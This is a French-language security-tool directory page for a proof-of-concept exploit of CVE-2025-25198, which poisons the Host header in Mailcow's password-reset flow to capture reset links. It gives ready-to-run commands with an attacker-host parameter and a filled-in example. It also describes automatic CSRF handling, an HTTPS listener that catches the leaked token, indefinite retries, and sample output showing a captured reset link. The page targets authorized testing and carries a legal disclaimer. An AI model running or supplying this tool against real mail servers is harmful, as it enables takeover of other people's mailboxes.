Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-25198-PoC — PoC pour CVE-2025-25198 : test automatisé d'empoisonnement d'en-tête Host pour Mailcow - écouteur HTTPS, gestion automatique des cookies/CSRF, capture du premier lien de réinitialisation. | Kitploit
Outils/GitHubGitHub/groppoxx/cve-2025-25198-poc
Attaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubgroppoxx/cve-2025-25198-poc

CVE-2025-25198-PoC

PoC pour CVE-2025-25198 : test automatisé d'empoisonnement d'en-tête Host pour Mailcow - écouteur HTTPS, gestion automatique des cookies/CSRF, capture du premier lien de réinitialisation.

Voir le dépôt
2016il y a 4 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

CVE-2025-25198-PoC

Preuve de concept pour CVE-2025-25198, un problème d'empoisonnement de l'en-tête Host affectant les flux de réinitialisation de mot de passe de Mailcow.

Le script démarre un écouteur HTTPS local sur le port 443, obtient automatiquement un jeton CSRF valide, envoie la séquence de réinitialisation de mot de passe avec un en-tête Host empoisonné, et s'arrête lorsqu'un lien de réinitialisation est récupéré, soit depuis la réponse HTTP, soit depuis un callback vers l'écouteur.

Ce qu'il fait

  1. Démarre un écouteur HTTPS avec un certificat auto-signé.
  2. Crée une nouvelle session client HTTP.
  3. Obtient automatiquement un jeton CSRF.
  4. Envoie le flux de réinitialisation avec un en-tête Host contrôlé.
  5. Extrait les liens de réinitialisation des réponses et des redirections.
  6. Attend un hit sur l'écouteur si la cible envoie le lien hors bande.
  7. S'arrête au premier lien de réinitialisation valide et l'affiche proprement.

Prérequis

Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target

Installer les dépendances :

pip install -r requirements.txt

Démarrage rapide

Les valeurs entre chevrons sont des espaces réservés. Remplacez-les par vos propres valeurs et n'incluez pas les caractères < ou >.

sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url <MAILCOW_URL> \
  --username <MAILBOX> \
  --attacker-host <ATTACKER_HOST> \
  --http2

Espaces réservés

<MAILCOW_URL>    # Target Mailcow base URL. Example: https://mail.example.com
<MAILBOX>        # Mailbox/user passed to the reset form. Usually an email address.
<ATTACKER_HOST>  # IP or DNS name that the target can reach on TCP/443.

Exemple complet

sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url https://mail.cows.com \
  --username [email protected] \
  --attacker-host 10.10.13.12 \
  --http2

Exemple de sortie :

[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]

╔════════════════════════════════════════════════════════════════════════════════╗
║  RESET LINK FOUND!  (listener)                                                 ║
╟════════════════════════════════════════════════════════════════════════════════╢
║  https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD                ║
║  Target: mail.cows.com                                                         ║
╚════════════════════════════════════════════════════════════════════════════════╝

Démo

asciicast

Options facultatives

--http2
   Use HTTP/2 via httpx. Recommended for best parity with modern browsers.

--interval <seconds>
   Seconds between attempts and listener wait windows. Default: 8

--max-attempts <N>
   Stop after N attempts. Default: 0, which means retry indefinitely.

--cookie '<pairs>'
   Seed the client cookie jar manually.
   Example: --cookie 'PHPSESSID=abcdef123456; another=value'

--csrf <TOKEN>
   Use a known CSRF token instead of auto-discovery.

--only-final
   Hide progress logs and print only the final reset-link banner.

Remarques

  • L'écouteur se lie toujours au port 443.
  • Sur Linux/macOS, lier le port 443 nécessite sudo ou root.
  • La cible doit pouvoir atteindre https://<ATTACKER_HOST>/.
  • Si un lien de réinitialisation est trouvé dans une réponse HTTP, le script se termine immédiatement.
  • Si aucun lien n'est trouvé dans la réponse, le script attend un callback vers l'écouteur HTTPS.
  • Si aucun lien n'est récupéré, la séquence réessaie toutes les 8 secondes par défaut.
  • server.pem et server.key sont générés automatiquement s'ils sont manquants.

Légal

Ce PoC est destiné aux tests de sécurité autorisés, aux environnements de laboratoire et à la vérification de vulnérabilités. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil